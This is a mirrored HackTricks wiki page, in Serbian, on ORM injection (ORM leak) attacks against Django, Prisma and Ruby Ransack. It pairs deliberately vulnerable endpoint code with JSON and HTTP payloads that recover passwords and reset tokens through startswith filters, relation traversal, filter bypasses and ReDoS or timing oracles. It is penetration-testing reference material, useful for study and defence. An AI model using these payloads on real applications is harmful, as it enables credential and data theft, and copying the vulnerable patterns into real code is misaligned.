mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			302 lines
		
	
	
		
			9.0 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			302 lines
		
	
	
		
			9.0 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # ORM Injection
 | ||
| 
 | ||
| {{#include ../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| ## Django ORM (Python)
 | ||
| 
 | ||
| U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
 | ||
| 
 | ||
| <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
 | ||
| """
 | ||
| Neki osnovni API prikaz na koji korisnici šalju zahteve za
 | ||
| pretragu članaka
 | ||
| """
 | ||
| def post(self, request: Request, format=None):
 | ||
| try:
 | ||
| <strong>            articles = Article.objects.filter(**request.data)
 | ||
| </strong>            serializer = ArticleSerializer(articles, many=True)
 | ||
| except Exception as e:
 | ||
| return Response([])
 | ||
| return Response(serializer.data)
 | ||
| </code></pre>
 | ||
| 
 | ||
| Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
 | ||
| 
 | ||
| Primeri:
 | ||
| 
 | ||
| - **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega.
 | ||
| ```json
 | ||
| {
 | ||
| "username": "admin",
 | ||
| "password_startswith": "a"
 | ||
| }
 | ||
| ```
 | ||
| > [!CAUTION]
 | ||
| > Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
 | ||
| 
 | ||
| - **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
 | ||
| ```json
 | ||
| {
 | ||
| "created_by__user__password__contains": "pass"
 | ||
| }
 | ||
| ```
 | ||
| > [!CAUTION]
 | ||
| > Moguće je pronaći lozinku svih korisnika koji su kreirali članak
 | ||
| 
 | ||
| - **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
 | ||
| ```json
 | ||
| {
 | ||
| "created_by__departments__employees__user_startswith": "admi"
 | ||
| }
 | ||
| ```
 | ||
| > [!CAUTION]
 | ||
| > U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
 | ||
| 
 | ||
| - **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
 | ||
| ```bash
 | ||
| # By users in the same group
 | ||
| created_by__user__groups__user__password
 | ||
| 
 | ||
| # By users with the same permission
 | ||
| created_by__user__user_permissions__user__password
 | ||
| ```
 | ||
| - **Zaobilaženje ograničenja filtera**: Isti blog post je predložio zaobilaženje korišćenja nekih filtera kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is_secret=True jer možemo da se vratimo iz veze u tabelu Article i da otkrijemo tajne članke iz netajnih članaka jer su rezultati spojeni i is_secret polje se proverava u netajnom članku dok se podaci otkrivaju iz tajnog članka.
 | ||
| ```bash
 | ||
| Article.objects.filter(is_secret=False, categories__articles__id=2)
 | ||
| ```
 | ||
| > [!CAUTION]
 | ||
| > Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
 | ||
| 
 | ||
| - **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima očekivalo se da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
 | ||
| ```json
 | ||
| // Non matching password
 | ||
| {
 | ||
| "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
 | ||
| }
 | ||
| 
 | ||
| // ReDoS matching password (will show some error in the response or check the time)
 | ||
| {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
 | ||
| ```
 | ||
| - **SQLite**: Po defaultu nema regexp operator (zahteva učitavanje eksterne ekstenzije)
 | ||
| - **PostgreSQL**: Po defaultu nema regex timeout i manje je podložan backtrackingu
 | ||
| - **MariaDB**: Po defaultu nema regex timeout
 | ||
| 
 | ||
| ## Prisma ORM (NodeJS)
 | ||
| 
 | ||
| Sledeće su [**trikovi izvučeni iz ovog posta**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
 | ||
| 
 | ||
| - **Potpuna kontrola nad pronalaženjem**:
 | ||
| 
 | ||
| <pre class="language-javascript"><code class="lang-javascript">const app = express();
 | ||
| 
 | ||
| app.use(express.json());
 | ||
| 
 | ||
| app.post('/articles/verybad', async (req, res) => {
 | ||
| try {
 | ||
| // Napadač ima potpunu kontrolu nad svim prisma opcijama
 | ||
| <strong>        const posts = await prisma.article.findMany(req.body.filter)
 | ||
| </strong>        res.json(posts);
 | ||
| } catch (error) {
 | ||
| res.json([]);
 | ||
| }
 | ||
| });
 | ||
| </code></pre>
 | ||
| 
 | ||
| Moguće je videti da se celo javascript telo prosleđuje prismi za izvršavanje upita.
 | ||
| 
 | ||
| U primeru iz originalnog posta, ovo bi proverilo sve postove koje je kreirao neko (svaki post je kreiran od strane nekoga) vraćajući takođe informacije o korisniku tog nekoga (korisničko ime, lozinka...)
 | ||
| ```json
 | ||
| {
 | ||
| "filter": {
 | ||
| "include": {
 | ||
| "createdBy": true
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| 
 | ||
| // Response
 | ||
| [
 | ||
| {
 | ||
| "id": 1,
 | ||
| "title": "Buy Our Essential Oils",
 | ||
| "body": "They are very healthy to drink",
 | ||
| "published": true,
 | ||
| "createdById": 1,
 | ||
| "createdBy": {
 | ||
| "email": "karen@example.com",
 | ||
| "id": 1,
 | ||
| "isAdmin": false,
 | ||
| "name": "karen",
 | ||
| "password": "super secret passphrase",
 | ||
| "resetToken": "2eed5e80da4b7491"
 | ||
| }
 | ||
| },
 | ||
| ...
 | ||
| ]
 | ||
| ```
 | ||
| Sledeći upit bira sve postove koje je kreirao neko sa lozinkom i vratiće lozinku:
 | ||
| ```json
 | ||
| {
 | ||
| "filter": {
 | ||
| "select": {
 | ||
| "createdBy": {
 | ||
| "select": {
 | ||
| "password": true
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| 
 | ||
| // Response
 | ||
| [
 | ||
| {
 | ||
| "createdBy": {
 | ||
| "password": "super secret passphrase"
 | ||
| }
 | ||
| },
 | ||
| ...
 | ||
| ]
 | ||
| ```
 | ||
| - **Potpuna kontrola where klauzule**:
 | ||
| 
 | ||
| Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
 | ||
| 
 | ||
| <pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
 | ||
| try {
 | ||
| const posts = await prisma.article.findMany({
 | ||
| <strong>            where: req.query.filter as any // Podložno ORM leak-ovima
 | ||
| </strong>        })
 | ||
| res.json(posts);
 | ||
| } catch (error) {
 | ||
| res.json([]);
 | ||
| }
 | ||
| });
 | ||
| </code></pre>
 | ||
| 
 | ||
| Moguće je filtrirati lozinku korisnika direktno kao:
 | ||
| ```javascript
 | ||
| await prisma.article.findMany({
 | ||
| where: {
 | ||
| createdBy: {
 | ||
| password: {
 | ||
| startsWith: "pas",
 | ||
| },
 | ||
| },
 | ||
| },
 | ||
| })
 | ||
| ```
 | ||
| > [!CAUTION]
 | ||
| > Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije.
 | ||
| 
 | ||
| - **Zaobilaženje filtriranja u mnogim-relacijama:**
 | ||
| ```javascript
 | ||
| app.post("/articles", async (req, res) => {
 | ||
| try {
 | ||
| const query = req.body.query
 | ||
| query.published = true
 | ||
| const posts = await prisma.article.findMany({ where: query })
 | ||
| res.json(posts)
 | ||
| } catch (error) {
 | ||
| res.json([])
 | ||
| }
 | ||
| })
 | ||
| ```
 | ||
| Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`:
 | ||
| ```json
 | ||
| {
 | ||
| "query": {
 | ||
| "categories": {
 | ||
| "some": {
 | ||
| "articles": {
 | ||
| "some": {
 | ||
| "published": false,
 | ||
| "{articleFieldToLeak}": {
 | ||
| "startsWith": "{testStartsWith}"
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| ```
 | ||
| Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-mnoge odnosa:
 | ||
| ```json
 | ||
| {
 | ||
| "query": {
 | ||
| "createdBy": {
 | ||
| "departments": {
 | ||
| "some": {
 | ||
| "employees": {
 | ||
| "some": {
 | ||
| "departments": {
 | ||
| "some": {
 | ||
| "employees": {
 | ||
| "some": {
 | ||
| "departments": {
 | ||
| "some": {
 | ||
| "employees": {
 | ||
| "some": {
 | ||
| "{fieldToLeak}": {
 | ||
| "startsWith": "{testStartsWith}"
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| }
 | ||
| ```
 | ||
| - **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
 | ||
| ```json
 | ||
| {
 | ||
| "OR": [
 | ||
| {
 | ||
| "NOT": {ORM_LEAK}
 | ||
| },
 | ||
| {CONTAINS_LIST}
 | ||
| ]
 | ||
| }
 | ||
| ```
 | ||
| Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravna leak.**
 | ||
| 
 | ||
| ## **Ransack (Ruby)**
 | ||
| 
 | ||
| Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
 | ||
| 
 | ||
| > [!TIP]
 | ||
| > **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.**
 | ||
| 
 | ||
| **Vulnerabilan primer:**
 | ||
| ```ruby
 | ||
| def index
 | ||
| @q = Post.ransack(params[:q])
 | ||
| @posts = @q.result(distinct: true)
 | ||
| end
 | ||
| ```
 | ||
| Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa:
 | ||
| ```http
 | ||
| GET /posts?q[user_reset_password_token_start]=0
 | ||
| GET /posts?q[user_reset_password_token_start]=1
 | ||
| ...
 | ||
| ```
 | ||
| Kroz brute-forcing i potencijalne veze bilo je moguće iscuriti više podataka iz baze podataka.
 | ||
| 
 | ||
| ## References
 | ||
| 
 | ||
| - [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
 | ||
| - [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
 | ||
| - [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
 | ||
| 
 | ||
| {{#include ../banners/hacktricks-training.md}}
 |